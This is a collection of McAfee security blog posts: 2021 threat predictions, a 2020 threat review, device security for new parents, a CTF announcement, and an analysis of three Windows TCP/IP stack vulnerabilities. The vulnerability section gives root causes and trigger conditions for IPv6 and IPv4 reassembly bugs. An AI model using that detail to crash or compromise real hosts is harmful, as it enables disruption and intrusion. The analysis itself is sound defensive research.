The revelations around the SolarWinds-SUNBURST espionage campaign will spark a proliferation in copycat supply chain attacks of this kind 

On December 13, 2020, the cybersecurity industry learned nation-state threat actors had compromised SolarWinds’s Orion IT monitoring and management software and used it to distribute a malicious software backdoor called SUNBURST to dozens of that company’s customers, including several high-profile U.S. government agencies.  

This SolarWinds-SUNBURST campaign is the first major supply chain attack of its kind and has been referred to by many as the “Cyber Pearl Harbor” that U.S. cybersecurity experts have been predicting for a decade and a half 

The campaign also represents a shift in tactics where nation state threat actors have employed a new weapon for cyber-espionage. Just as the use of nuclear weapons at the end of WWII changed military strategy for the next 75 years, the use of a supply chain attack has changed the way we need to consider defense against cyber-attacks.  

This supply chain attack operated at the scale of a worm such as WannaCry in 2017, combined with the precision and lethality of the 2014 Sony Pictures or 2015 U.S. government Office of Personnel Management (OPM) attacks. 

Within hours of its discovery, the magnitude of the campaign became frighteningly clear to organizations responsible for U.S. national security, economic competitiveness, and even consumer privacy and security.  

It enables U.S. adversaries to steal all manners of information, from inter-governmental communications to national secrets. Attackers can, in turn, leverage this information to influence or impact U.S. policy through malicious leaks. Every breached agency may have different secondary cyber backdoors planted, meaning that there is no single recipe to evict the intrusion across the federal government. 

While some may argue that government agencies are legitimate targets for nation-state spy craft, the campaign also impacted private companies. Unlike government networks which store classified information on isolated networks, private organizations often have critical intellectual property on networks with access to the internet. Exactly what intellectual property or private data on employees has been stolen will be difficult to determine, and the full extent of the theft may never be known. 

This type of attack also poses a threat to individuals and their families given that in today’s highly interconnected homes, a breach of consumer electronics companies can result in attackers using their access to smart appliances such as TVs, virtual assistants, and smart phones to steal their information or act as a gateway to attack businesses while users are working remotely from home. 

What makes this type of attack so dangerous is that it uses trusted software to bypass cyber defenses, infiltrate victim organizations with the backdoor and allow the attacker to take any number of secondary steps. This could involve stealing data, destroying data, holding critical systems for ransom, orchestrating system malfunctions that result in kinetic damage, or simply implanting additional malicious content throughout the organization to stay in control even after the initial threat appears to have passed. 

McAfee believes the discovery of the SolarWinds-SUNBURST campaign will expose attack techniques that other malicious actors around the world will seek to duplicate in 2021 and beyond. 

 

2.

Hacking the Home to Hack the Office 

By Suhail Ansari, Dattatraya Kulkarni and Steve Povolny 

 The increasingly dense overlay of numerous connected devices, apps and web services used in our professional and private lives will grow the connected home’s attack surface to the point that it raises significant new risks for individuals and their employers. 

 While the threat to connected homes is not new, what is new is the emergence of increased functionality in both home and business devices, and the fact that these devices connect to each other more than ever before. Compounding this is the increase in remote work – meaning many of us are using these connected devices more than ever. 

In 2020,the global pandemic shifted employees from the office to the home, making the home environment a work environment. In fact, since the onset of the coronavirus pandemic, McAfee Secure Home Platform device monitoring shows a 22% increase in the number of connected home devices globally and a 60% increase in the U.S. Over 70% of the traffic from these devices originated from smart phones, laptops, other PCs and TVs, and over 29% originated from IoT devices such as streaming devices, gaming consoles, wearables, and smart lights.

McAfee saw cybercriminals increase their focus on the home attack surface with a surge in various phishing message schemes across communications channels. The number of malicious phishing links McAfee blocked grew over 21% from March to Novemberat an average of over 400 links per home.  

 This increase is significant and suggests a flood of phishing messages with malicious links entered home networks through devices with weaker security measures 

 Millions of individual employees have become responsible for their employer’s IT security in a home office filled with soft targetsunprotected devices from the kitchen, to the family room, to the bedroomMany of these home devices are “orphaned” in that their manufacturers fail to properly support them with security updates addressing new threats or vulnerabilities.  

This contrasts with a corporate office environment filled with devices “hardened” by enterprise-grade security measures. We now work with consumer-grade networking equipment configured by “us” and lacking the central management, regular software updates and security monitoring of the enterprise.   

Because of this, we believe cybercriminals will advance the home as an attack surface for campaigns targeting not only our families but also corporations. The hackers will take advantage of the home’s lack of regular firmware updates, lack of security mitigation features, weak privacy policies, vulnerability exploits, and user susceptibility to social engineering.  

By compromising the home environment, these malicious actors will launch a variety of attacks on corporate as well as consumer devices in 2021. 

 

3.

Attacks on Cloud Platforms Become Highly Mechanized and Handcrafted 

By Sandeep Chandana  

Attacks on cloud platforms will evolve into a highly polarized state where they are either “mechanized and widespread” or “targeted and precisely handcrafted”.  

The COVID-19 pandemic has also hastened the pace of the corporate IT transition to the cloud, accelerating the potential for new corporate cloud-related attack schemes. With increased cloud adoption and the large number of enterprises working from home, not only is there a growing number of cloud users but also a lot more data both in motion and being transacted.  

 McAfee cloud usage data from more than 30 million McAfee MVISION Cloud users worldwide shows a 50% increase overall in enterprise cloud use across all industries the first four months of 2020. Our analysis showed an increase across all cloud categories, usage of collaboration services such as Microsoft O365 by 123%, increase in use of business services such as Salesforce by 61% and the largest growth in collaboration services such as Cisco Webex (600%), Zoom (+350%), Microsoft Teams (+300%), and Slack (+200%). From January to April 2020, corporate cloud traffic from unmanaged devices increased 100% across all verticals.  

 During the same period, McAfee witnessed a surge in attacks on cloud accounts, an estimated 630% increase overall, with variations in the sectors that were targeted. Transportation led vertical industries with a 1,350% increase in cloud attacks, followed by education (+1,114%), government (+773%), manufacturing (+679%), financial services (+571%) and energy and utilities (+472%).  

The increasing proportion of unmanaged devices accessing the enterprise cloud has effectively made home networks an extension of the enterprise infrastructure. Cybercriminals will develop new, highly mechanized, widespread attacks for better efficacy against thousands of heterogenous home networks.  

One example could be a widespread brute force attack against O365 users, where the attacker seeks to leverage stolen credentials and exploit users’ poor practice of re-using passwords across different platforms and applications. As many as 65% of users reuse the same password for multiple or all accounts according to a 2019 security survey conducted by Google. Where an attacker would traditionally need to manually encode first and last name combinations to find valid usernames, a learning algorithm could be used to predict O365 username patterns.  

Additionally, cybercriminals could use AI and ML to bypass traditional network filtering technologies deployed to protect cloud instances. Instead of launching a classic brute force attack from compromised IPs until the IPs are blocked, resource optimization algorithms will be used to make sure the compromised IPs launch attacks against multiple services and sectors, to maximize the lifespan of compromised IPs used for the attacks. Distributed algorithms and reinforcement learning will be leveraged to identify attack plans primarily focused on avoiding account lockouts.   

McAfee also predicts that, as enterprise cloud security postures mature, attackers will be forced to handcraft highly targeted exploits for specific enterprises, users and applications.  

The recent Capital One breach was an example of an advanced attack of this kind. The attack was thoroughly cloud-native. It was sophisticated and intricate in that a number of vulnerabilities and misconfigurations across cloud applications (and infrastructure) were exploited and chained. It was not a matter of chance that the hackers were successful, as the attack was very well hand-crafted.  

 We believe attackers will start leveraging threat surfaces across devices, networks and the cloud in these ways in the months and years ahead. 

4.

New Mobile Payment Scams

By Suhail Ansari and Dattatraya Kulkarni

As users become more and more reliant on mobile payments, cybercriminals will increasingly seek to exploit and defraud users with scam SMS phishing or smishing messages containing malicious payment URLs.

 Mobile payments have become more and more popular as a convenient mechanism to conduct transactions. Worldpay Global Payments Report for 2020 estimated that 41% of payments today are on mobile devices, and this number looks to increase  at the expense of traditional credit and debit cards by 2023. An October 2020 study by Allied Market Research found that the global mobile payment market size was valued at $1.48 trillion in 2019, and is projected to reach $12.06 trillion by 2027, growing at a compound annual growth rate of 30.1% from 2020 to 2027.  

Additionally, the COVID-19 pandemic has driven the adoption of mobile payment methods higher as consumers have sought to avoid contact-based payments such as cash or physical credit cards. 

But fraudsters have followed the money to mobile, pivoting from PC browsers and credit cards to mobile payments. According to research by RSA’s Fraud and Risk Intelligence team, 72% of cyber fraud activity involved the mobile channel in the fourth quarter of 2019. The researchers observed that this represented “the highest percentage of fraud involving mobile apps in nearly two years and underscores a broader shift away from fraud involving web browsers on PCs.” 

McAfee predicts there will be an increase in “receive”-based mobile payment exploits, where a user receives a phishing email, direct message or smishing message telling him that he can receive a payment, transaction refund or cash prize by clicking on a malicious payment URL. Instead of receiving a payment, however, the user has been conned into sending a payment from his account.  

This could take shape in schemes where fraudsters set up a fake call center using a product return and servicing scam, where the actors send a link via email or SMS, offering a refund via a mobile payment app, but the user is unaware that they are agreeing to pay versus receiving a refund. The figures below show the fraudulent schemes in action.  

Mobile wallets are making efforts to make it easier for users to understand whether they are paying or receiving. Unfortunately, as the payment methods proliferate, fraudsters succeed in finding victims who either cannot distinguish credit from debit or can be prompted into quick action by smart social engineering.  

Governments and banks are making painstaking efforts to educate users to understand the use of one-time passwords (OTPs) and that they should not be shared. Adoption of frameworks such as caller ID authentication (also known as STIR/SHAKEN) help in ensuring that the caller ID is not masked by fraudsters, but they do not prevent a fraudster from registering an entity that has a name close to the genuine provider of service. 

In the same way that mobile apps have simplified the ability to conduct transactions, McAfee predicts the technology is making it easier to take advantage of the convenience for fraudulent purposes. 

5.

Qshing: QR Code Abuse in the Age of COVID 

By Suhail Ansari and Dattatraya Kulkarni 

Cybercriminals will seek new and ever cleverer ways to use social engineering and QR Code practices to gain access to consumer victims’ personal data. 

The global pandemic has created the need for all of us to operate and transact in all areas of our lives in a “contactless” way. Accordingly, it should come as no surprise that QR codes have emerged as a convenient input mechanism to make mobile transactions more efficient.  

QR code usage has proliferated into many areas, including payments, product marketing, packaging, restaurants, retail, and recreation just to name a few. QR codes are helping limit direct contact between businesses and consumers in every setting from restaurants to personal care salons, to fitness studios. They allow them to easily scan the code, shop for services or items offered, and easily purchase them.  

September 2020 survey by MobileIron found that 86% of respondents scanned a QR code over the course of the previous year and over half (54%) reported an increase in the use of such codes since the pandemic began. Respondents felt most secure using QR codes at restaurants or bars (46%) and retailers (38%). Two-thirds (67%) believe that the technology makes life easier in a touchless world and over half (58%) wish to see it used more broadly in the future.  

In just the area of discount coupons, an estimated 1.7 billion coupons using QR codes were scanned globally in 2017, and that number is expected to increase by a factor of three to 5.3 billion by 2022In just four years, from 2014 to 2018, the use of QR codes on consumer product packaging in Korea and Japan increased by 83%The use of QR codes in such “smart” packaging is increasing at an annual rate of 8% globally.  

In India, the governments Unique Identification Authority of India (UIDAI) uses QR codes in association with Aadhaar, India’s unique ID number, to enable readers to download citizens’ demographic information as well as their photographs. 

However, the technicalities of QR codes are something of a mystery to most users, and that makes them potentially dangerous if cybercriminals seek to exploit them to target victims.  

The MobileIron report found that whereas 69% of respondents believe they can distinguish a malicious URL based on its familiar text-based format, only 37% believe they can distinguish a malicious QR code using its unique dot pattern formatGiven that QR codes are designed precisely to hide the text of the URL, users find it difficult to identify and even suspect malicious QR codes. 

Almost two-thirds (61%) of respondents know that QR codes can open a URL and almost half (49%) know that a QR code can download an application. But fewer than one-third (31%) realize that a QR code can make a payment, cause a user to follow someone on social media (22%), or start a phone call (21%). A quarter of respondents admit scanning a QR code that did something unexpected (such as take them to a suspicious website), and 16% admitted that they were unsure if a QR code actually did what it was intended to do. 

It is therefore no surprise that QR codes have been used in phishing schemes to avoid anti-phishing solutions’ attempts to identify malicious URLs within email messages. They can also be used on webpages or social media. 

In such schemes, victims scan fraudulent QRs and find themselves taken to malicious websites where they are asked to provide login, personal info, usernames and passwords, and payment information, which criminals then steal. The sites could also be used to simply download malicious programs onto a user’s device.  

McAfeepredicts that hackers will increasingly use these QR code schemes and broaden them using social engineeringtechniques. For instance, knowing that businessownersarelookingtodownload QR code generator apps, bad actorswillenticeconsumersinto downloading malicious QR code generator appsthat pretend to do the same.In the process of generating the QR code (or even pretending to be generating the correct QR code), the malicious apps will steal thevictim’s sensitive data, which scammers could then use for a variety of fraudulent purposes.  

Although the QR codes themselves are a secure and convenient mechanism, we expect them to be misused by bad actors in 2021 and beyond. 

6.

Social Networks as Workplace Attack Vectors  

By Raj Samani 

McAfee predicts that sophisticated cyber adversaries will increasingly target, engage and compromise corporate victims using social networks as an attack vector.  

Cyber adversaries have traditionally relied heavily on phishing emails as an attack vector for compromising organizations through individual employees. However, as organizations have implemented spam detection, data loss prevention (DLP) and other solutions to prevent phishing attempts on corporate email accounts, more sophisticated adversaries are pivoting to target employees through social networking platforms to which these increasingly effective defenses cannot be applied. 

McAfee has observed such threat actors increasingly using the messaging features of LinkedIn, What’s App, Facebook and Twitter to engage, develop relationships with and then compromise corporate employees. Through these victims, adversaries compromise the broader enterprises that employ them. McAfee predicts that such actors will seek to broaden the use of this attack vector in 2021 and beyond for a variety of reasons.  

Malicious actors have used the social network platforms in broad scoped schemes to perpetrate relatively low-level criminal scams. However, prominent actors such as APT34Charming Kitten, and Threat Group-2889 (among others) have been identified using these platforms for higher-value, more targeted campaigns on the strength of the medium’s capacity for enabling customized content for specific types of victims.  

Operation North Star demonstrates state-of-the-art attack of this kind. Discovered and exposed by McAfee in August 2020, the campaign showed how lax social media privacy controls, ease of development and use of fake LinkedIn user accounts and job descriptions could be used to lure and attack defense sector employees. 

Just as individuals and organizations engage potential consumer customers on social platforms by gathering information, developing specialized content, and conducting targeted interactions with customers, malicious actors can similarly use these platform attributes to target high value employees with a deeper level of engagement.  

Additionally, individual employees engage with social networks in a capacity that straddles both their professional and personal lives. While enterprises assert security controls over corporate-issued devices and place restrictions on how consumer devices access corporate IT assets, user activity on social network platforms is not monitored or controlled in the same way. As mentioned, LinkedIn and Twitter direct messaging will not be the only vectors of concern for the corporate security operations center (SOC). 

While it is unlikely that email will ever be replaced as an attack vector, McAfee foresees this social network platform vector becoming more common in 2021 and beyond, particularly among the most advanced actors. 

 

The post 2021 Threat Predictions Report appeared first on McAfee Blog.

A Year in Review: Threat Landscape for 2020

14 January 2021 at 14:00

As we gratefully move forward into the year 2021, we have to recognise that 2020 was as tumultuous in the digital realm as it has in the physical world. From low level fraudsters leveraging the pandemic as a vehicle to trick victims into parting with money for non-existent PPE, to more capable actors using malware that has considerably less prevalence in targeted campaigns. All of which has been played out at a time of immense personal and professional difficulties for millions of us across the world.

Dealing with the noise

What started as a trickle of phishing campaigns and the occasional malicious app quickly turned to thousands of malicious URLs and more-than-capable threat actors leveraging our thirst for more information as an entry mechanism into systems across the world. There is no question that COVID was the dominant theme of threats for the year, and whilst the natural inclination will be to focus entirely on such threats it is important to recognise that there were also very capable actors operating during this time.

For the first time we made available a COVID-19 dashboard to complement our threat report to track the number of malicious files leveraging COVID as a potential lure.  What this allows is real time information on the prevalence of such campaigns, but also clarity about the most targeted sectors and geographies.  Looking at the statistics from the year clearly demonstrates that the overarching theme is that the volume of malicious content increased.

Whilst of course this a major concern, we must recognise that there were also more capable threat actors operating during this time.

Ransomware – A boom time

The latter part of 2020 saw headlines about increasing ransom demands and continued successes from ransomware groups. An indication as to the reason why was provided in early 2020 in a blog published by Thomas Roccia that revealed “The number of RDP ports exposed to the Internet has grown quickly, from roughly three million in January 2020 to more than four and a half million in March.”

With RDP a common entry vector used predominantly by post intrusion ransomware gangs, there appears some explanation as to the reason why we are seeing more victims in the latter part of 2020.   Indeed, in the same analysis from Thomas we find that the most common passwords deployed for RDP are hardly what we would regard as strong.

If we consider the broader landscape of RDP being more prevalent (we have to assume due to the immediate need for remote access due to the lockdowns across the globe), the use of weak credentials, then the success of ransomware groups become very evident.  Indeed, later in the year we detailed our research into the Netwalker ransomware group that reveals the innovation, affiliate recruitment and ultimately financial success they were able to gain during the second quarter of 2020.

A year of major vulnerabilities

The year also provided us with the added gifts of major vulnerabilities. In August, for example, there was a series of zero-day vulnerabilities in a widely used, low-level TCP/IP software library developed by Treck, Inc.  Known as Ripple 20, the affect to hundreds of millions of devices resulted in considerable concern related to the wider supply chain of devices that we depend upon. In collaboration with JSOF, the McAfee ATR team developed a Detection Logic and Signatures for organizations to detect these vulnerabilities.

Of course the big vulnerabilities did not end there; we had the pleasure of meeting BadNeighbour, Drovorub, and so many more. The almost seemingly endless stream of vulnerabilities with particularly high CVSS Scores has meant that the need to patch very high on the list of priorities.

The ‘sophisticated’ attacker

As we closed out 2020, we were presented with details of ‘nation states’ carrying out sophisticated attacks.   Whilst under normal circumstances such terminology is something that should be avoided, there is no question that the level of capability we witness from certain threat campaigns are a world away from the noisy COVID phishing scams.

In August of 2020, we released the MVISION Insights dashboard which provides a free top list of campaigns each week. This includes, most recently, tracking against the SUNBURST trojan detailed in the SolarWinds attack, or the tools stolen in the FireEye breach.   What this demonstrates is that whilst prevalence is a key talking point, there exists capable threat actors targeting organizations with real precision.

For example, the Operation North Star campaign in which the threat actors deployed an Allow and Block list of targets in order to limit those they would infect with a secondary implant.

The term sophisticated is overused, and attribution is often too quickly relegated to the category of nation state.  However, the revelations have demonstrated that there are those campaigns where the attack did use capabilities not altogether common and we are no doubt witnessing a level of innovation from threat groups that is making the challenge of defence harder.

What is clear is that 2020 was a challenging year, but as we try and conclude what 2021 has in store, we have to celebrate the good news stories.   From initiatives such as No More Ransom continuing to tackle ransomware, to the unprecedented accessibility of tools that we can all use to protect ourselves (e.g. please check ATR GitHub repo, but recognise there are more).

McAfee 2021 Threat Predictions

Our experts share their 2021 predictions for the new year and how to protect yourself and your enterprise.

Read Now

 

The post A Year in Review: Threat Landscape for 2020 appeared first on McAfee Blog.

Two Pink Lines

15 January 2021 at 18:58

Depending on your life experiences, the phrase (or country song by Eric Church) “two pink lines” may bring up a wide range of powerful emotions.    I suspect, like many fathers and expecting fathers, I will never forget the moment I found out my wife was pregnant.  You might recall what you were doing, or where you were and maybe even what you were thinking.   As a professional ethical hacker, I have been told many times – “You just think a little differently about things.”   I sure hope so, since that’s my day job and sure enough this experience wasn’t any different.  My brain immediately asked the question, “How am I going to ensure my family is protected from a wide range of cyberthreats?”   Having a newborn opens the door to all sorts of new technology and I would be a fool not to take advantage of all devices that makes parenting easier.   So how do we do this safely?

The A-B -C ‘s

The security industry has a well-known concept called the “principle of least privilege. “This simply means that you don’t give a piece of technology more permissions or access than it needs to perform its primary function.   This can be applied well beyond just technology that helps parents; however, for me it’s of extra importance when we talk about our kids.  One of the parenting classes I took preparing for our newborn suggested we use a baby tracking phone app.   This was an excellent idea, since I hate keeping track of anything on paper.  So I started looking at a few different apps for my phone and discovered one of them asked for permission to use “location services,” also known as GPS, along with access to my phone contacts.  This caused me to pause and ask: Why does an app to track my baby’s feeding schedule need to know where I am?  Why does it need to know who my friends are?   These are the types of questions parents should consider before just jumping into the hottest new app.  For me, I found a different, less popular app which has the same features, just with a little less access.

It’s not always as easy to just “find something else.”  In my house, “if momma ain’t happy, nobody is happy.”  So, when my wife decided on a specific breast pump that came with Bluetooth and is internet enabled, that’s the one she is going to use.   The app backs up all the usage data to a server in the cloud.   There are many ways that this can be accomplished securely, and it is not necessary a bad feature, but I didn’t feel this device benefited from being internet connected.   Therefore, I simply lowered its privileges by not allowing it internet access in the settings on her phone.  The device works perfectly fine, she can show the doctor the data from her phone, yet we have limited our online exposure and footprint just a little more.  This simple concept of least privilege can be applied almost everywhere and goes a long way to limiting your exposure to cyber threats.

Peek-A-Boo

I think one of the most sought after and used products for new parents is the baby monitor or baby camera.   As someone who has spent a fair amount of time hacking cameras (or cameras on wheels) this was a large area of concern for me.  Most cameras these days are internet connected and if not, you often lose the ability to view the feed on your phone, which is a huge benefit to parents.  So how, as parents, do we navigate this securely?  While there is no silver bullet here, there are a few things to consider.    For starters, there are still many baby cameras on the market that come with their own independent video screen.  They generally use Wi-Fi and are only accessible from home.  If this system works for you, use it.  It is always more secure to have a video system which is not externally accessible.   If you really want to be able to use your phone, consider the below.

  • Where is the recorded video and audio data being stored? This may not seem important if the device is internet connected anyway, but it can be.  If your camera data is being stored locally (DVR, SD card, network storage, etc.), then an attacker would need to hack your specific device to obtain this information.   If you combine this with good security hygiene such as a strong password and keeping your device updated, an attacker has to work very hard to access your camera data.  If we look at the alternative where your footage is stored in the cloud, and it becomes subject to a security breach, now your camera’s video content is collateral damage.  Large corporations are specifically targeted by cybercriminals because they provide a high ROI for the time spent on the attack; an individual practicing good cybersecurity hygiene becomes a much more difficult target providing less incentive for the attacker, thus becoming a less likely target.
  • Is the camera on the same network as the rest of your home? An often-overlooked security implication to many IoT devices, but especially cameras, is outside of the threat of spying, but rather the threat of a network entry point. If the camera itself is compromised it can be used as a pivot point to attack other devices on your network.  A simple way to reduce this risk is to utilize the “guest” network feature that comes by default on almost all home routers.   These guest networks are preset to be isolated from your main network and generally require little to no setup.  By simply attaching your cameras to your guest network, you can reduce the risk of a compromised camera leading a cybercriminal to the banking info on your laptop.

Background checks – Not only for babysitters

Most parents, especially new ones, like to ensure that anyone that watches their children is thoroughly vetted.  There are a ton of services out there to do this for babysitters and nannies, however it’s not always as easy for vetting the companies that create the devices we put in our homes.  So how do we determine what is safe?  My father used to tell me: “It’s how we respond to our mistakes that makes the difference.”  When researching a company or device, should you find that the device has been found to have a vulnerability, often the response time and accountability from the vendor can tell you if it’s a company you should be investing in. Some things to look for include:

  • Was the vulnerability quickly patched?
  • Are there unpatched bugs still?
  • Has a vendor self-reported flaws, fixed them and reported to the public they have been fixed?
  • Are there numerous outstanding bugs filed against a company or device?
  • Does the company not recognize the possibility of bugs in their products?

These answers can often be discovered on a company’s website or in release notes, which are generally attached to an update of a piece of software.   Take a minute to read the notes and see if the company is making security updates. You don’t need to understand all the details, just knowing they take security seriously enough to update frequently is important.  This can help tip the scales when deciding between devices or apps.

Remember, you can do this!

Through my preparation for becoming a new parent, I constantly read in books and was told by professionals, “Remember, you can do this!”  Cybersecurity in the context of being a parent is no different.  Every situation is different, and it is important to do what works with you and your family.  As parents, we shouldn’t be afraid to use all the cool new gadgets that are emerging on the market, but instead educate ourselves on how to limit our risk.  Which features do I need, which ones can I do without?   Remember always follow a vendor’s recommendations and best practices, and of course remember to breathe!

The post Two Pink Lines appeared first on McAfee Blog.

McAfee ATR Launches Education-Inspired Capture the Flag Contest!

27 January 2021 at 16:00

McAfee’s Advanced Threat Research team just completed its second annual capture the flag (CTF) contest for internal employees. Based on tremendous internal feedbackwe’ve decided to open it up to the public, starting with a set of challenges we designed in 2019.  

We’ve done our best to minimize guesswork and gimmicks and instead of flashy graphics and games, we’ve distilled the kind of problems we’ve encountered many times over the years during our research projects. Additionally, as this contest is educational in nature, we won’t be focused as much on the winners of the competition. The goal is for anyone and everyone to learn something new. However, we will provide a custom ATR challenge coin to the top 5 teams (one coin per team). All you need to do is score on 2 or more challenges to be eligible. When registering for the contest, make sure to use a valid email address so we can contact you.  

The ATR CTF will open on Friday, February 5th at 12:01pm PST and conclude on Thursday, February 18th, at 11:59pm PST.  

Click Here to Register! 

​​​​​​​If you’ve never participated in a CTF before, the concept is simple. You will: 

  • Choose the type of challenge you want to work on, 
  • Select a difficulty level by point value, 
  • Solve the challenge to find a ‘flag,’ and 
  • Enter the flag for the corresponding points.​​​​​

NOTE: The format of all flags is ATR[], placing the flag,  between the square brackets. For example: ATR[1a2b3c4d5e]. The flag must be submitted in full, including the ATR and square bracket parts.
 

The harder the challenge, the higher the points!  Points range from 100 to 500. All CTF challenges are designed to practice real-world security concepts, and this year’s categories include: 

  • Reverse engineering 
  • Exploitation 
  • Web 
  • Hacking Tools 
  • Crypto 
  • RF (Radio Frequency) 
  • Mobile 
  • Hardware
     

The contest is set up to allow teams as groups or individuals. If you get stuck, a basic hint is available for each challenge, but be warned – it will cost ​​​​​​​you points to access the hint and should only be used as a last resort.  

Read before hacking: CTF rules and guidelines 

McAfee employees are not eligible for prizes in the public competition but are welcome to compete. 

When registering, please use a valid email address, for any password resets and to be contacted for prizes. We will not store or save any email addresses or contact you for any non-contest related reasons.

Please wait until the contest ends to release any solutions publicly. 

Cooperation 

No cooperation between teams with independent accounts. Sharing of keys or providing/revealing hints to other teams is cheating, please help us keep this contest a challenge for all! 

Attacking the Platform 

Please refrain from attacking the competition infrastructure. If you experience any difficulties with the infrastructure itself, questions can be directed to the ATR team using the email in the Contact Us section. ATR will not provide any additional hints, feedback, or clues. This email is only for issues that might arise, not related to individual challenges. 

Sabotage 

Absolutely no sabotaging of other competing teams, or in any way hindering their independent progress. 

Brute Forcing 

No brute forcing of challenge flag/ keys against the scoring site is accepted or required to solve the challenges. You may perform brute force attacks if necessary, on your own endpoint to determine a solution if needed. If you’re not sure what constitutes a brute force attack, please feel free to contact us. 

DenialofService 

DoSing the CapturetheFlag (CTF) platform or any of the challenges is forbidden

Additional rules are posted within the contest following login and should be reviewed by all contestants prior to beginning.

Many of these challenges are designed with Linux end-users in mind. However, if you are a Windows user, Windows 10 has a Linux subsystem called ‘WSL’ that can be useful, or a Virtual Machine can be configured with any flavor of Linux desired and should work for most purposes.​​​​​​​

​​​​​​​Happy hacking! 

Looking for a little extra help? 

Find a list of useful tools and techniques for CTF competitions. While it’s not exhaustive or specifically tailored to this contest, it should be a useful starting point to learn and understand tools required for various challenges. 

Contact Us 

While it may be difficult for us to respond to emails, we will do our best – please use this email address to reach us with infrastructure problems, errors with challenges/flag submissions, etc. We are likely unable to respond to general questions on solving challenges. 

[email protected] 

How much do you know about McAfee’s ​​​​​​​industry-leading research team? 

ATR is a team of security researchers that deliver cutting-edge vulnerability and malware research, red teaming, operational intelligence and more! To read more about the team and some of its highlighted research, please follow this link to the ATR website. 

General Release Statement 

By participating in the contest, you agree to be bound to the Official Rules and to release McAfee and its employees, and the hosting organization from any and all liability, claims or actions of any kind whatsoever for injuries, damages or losses to persons and property which may be sustained in connection with the contest. You acknowledge and agree that McAfee et al is not responsible for technical, hardware or software failures, or other errors or problems which may occur in connection with the contest.  By participating you allow us to publish your name.  The collection and use of personal information from participants will be governed by the McAfee Private Notice.  

The post McAfee ATR Launches Education-Inspired Capture the Flag Contest! appeared first on McAfee Blog.

Researchers Follow the Breadcrumbs: The Latest Vulnerabilities in Windows’ Network Stack

9 February 2021 at 19:07
data breach
The concept of a trail of breadcrumbs in the offensive security community is nothing new; for many years, researchers on both sides of the ethical spectrum have followed the compass based on industry-wide security findings, often leading to groundbreaking discoveries in both legacy and modern codebases alike. This happened in countless instances, from Java to Flash to Internet Explorer and many more, often resulting in widespread findings and subsequent elimination or modification to large amounts of code. Over the last 12 months, we have noticed a similar trend in the analysis, discovery and disclosures of vulnerabilities in networking stacks. Starting with JSOF’s Ripple20, which we analyzed and released signatures for, a clear pattern emerged as researchers investigated anew the threat surfaces in the tcp/ip stacks deployed worldwide. Microsoft was no exception, of course running the Windows networking stack dating back to the earliest iterations of Windows, and frequently updated with new features and fixes.

In fact, looking back at just the last 8 months of Microsoft patches, we’ve tracked at least 25 significant vulnerabilities directly related to the Windows network stack. These have ranged from DNS to NTFS, SMB to NFS and recently, several tcp/ip bugs in fragmentation and packet reassembly for IPv4 and IPv6.

That brings us to this month’s patch Tuesday, which contains several more high-profile critical vulnerabilities in tcpip.sys. We’ll focus on three of these, including 2 marked as “remote code execution” bugs, which could lead to wormability if code execution is truly possible, and a persistent denial-of-service vulnerability which could cause a permanent Blue Screen of Death on the latest versions of Windows.

There are clear similarities between all 3, indicating both Microsoft and researchers external to Microsoft are highly interested in auditing this library, and are having success in weeding out a number of interesting bugs. The following is a short summary of each bug and the progress we have made to date in analyzing them.

What is CVE-2021-24086?
The first vulnerability analyzed in this set is a Denial-of-Service (DOS) attack. Generally, these types of bugs are rather uninteresting; however, a few can have enough of an impact that although an attacker can’t get code execution, they are well worth discussing. This is one of those few. One of the things that boost this vulnerability’s impact is the fact it is internet routable and many devices using IPv6 can be directly accessible over the internet, even when behind a router. It is also worth noting that the default Windows Defender Firewall configuration does not mitigate this attack. In a worst-case scenario, an attacker could spray this attack and put it on a continuous loop to potentially cause a “permanent” or persistent DOS to a wide range of systems.

This vulnerability exists when Windows’ tcpip.sys driver attempts to reassemble fragmented IPv6 packets. As a result, this attack requires many packets to be successful.  The root cause of this vulnerability is a NULL pointer dereference which occurs in Ipv6pReassembleDatagram. The crash occurs when reassembling a packet with around 0xffff bytes of extension headers.  It should be impossible to send a packet with that many bytes in the extension headers according to the RFC, however this is not considered in the Ipv6pReceiveFragments function when calculating the unfragmented length. Leveraging a proof-of-concept through the Microsoft MAPP program, McAfee was easily able to reproduce this bug, demonstrating it has the potential to be seen in the wild.

What is CVE-2021-24094?
This vulnerability is classified by Remote Code Execution (RCE), though our analysis thus far, code execution comes with unique challenges. Similar to CVE-2021-24086, this issue involves IPv6 packet reassembly by the Windows tcpip.sys driver. It is different from 24086 in that it doesn’t require a large packet with extension headers, and it is not a NULL pointer dereference. Instead, it is a dangling pointer which, if the right packet data is sprayed from an attacker over IPv6, will causes the pointer to be overwritten and reference an arbitrary memory location. When the data at the pointer’s target is accessed, it causes a page fault and thus a Blue Screen of Death (BSOD). Additionally, an attacker can create persistence of the DoS by continually pointing the attack at a victim machine.

While the reproduction of this issue causes crashes on the target in all reproductions so far, it’s unclear how easy it would be to force the pointer to a location that would cause valid execution without crashing. The pointer would need to point to a paged-in memory location that had already been written with additional data that could manipulate the IPv6 reassembly code, which would likely not come from this attack alone, but may require a separate attack to do so.

What is CVE-2021-24074?
CVE-2021-24074 is a potential RCE in tcpip.sys triggered during the reassembly of fragmented IPv4 packets in conjunction with a confusion of IPv4 IP Options. During reassembly, it is possible to have two fragments with different IP Options; this is against the IPv4 standard, but Windows will proceed further, while failing to perform proper sanity checks for the respective options. This type confusion can be leveraged to trigger an Out of Bounds (OOB) read and write by “smuggling” an IP option Loose source and record route (LSRR) with invalid parameters. This option is normally meant to specify the route a packet should take. It has a variable length, starts with a pointer field, and is followed by a list of IP addresses to route the packet through.

By leveraging the type confusion, we have an invalid pointer field that will point beyond the end of the routing list provided in the packet. When the routing function Ipv4pReceiveRoutingHeader looks up the next hop for the packet, it will OOB read this address (as a DWORD) and perform a handful of checks on it. If these checks are successful, the IP stack will attempt to route the packet to its next hop by copying the original packet and then writing its own IP address in the record route. Because this write relies on the same invalid pointer value as before, this turns out to be an OOB write (beyond the end of the newly allocated packet). The content of this OOB write is the IP address of the target machine represented as a DWORD (thus, not controlled by the attacker).

Microsoft rates this bug as “Exploitation more likely”, however exploitation might not be as straightforward as it sounds. For an attack to succeed, one would have to groom the kernel heap to place a certain value to be read during the OOB read, and then make it so the OOB write would corrupt something of interest. Likely, a better exploitation primitive would need to be established first in order to successfully exploit the bug. For instance, leveraging the OOB write to corrupt another data structure that could lead to information disclosure and/or a write-what-where scenario.

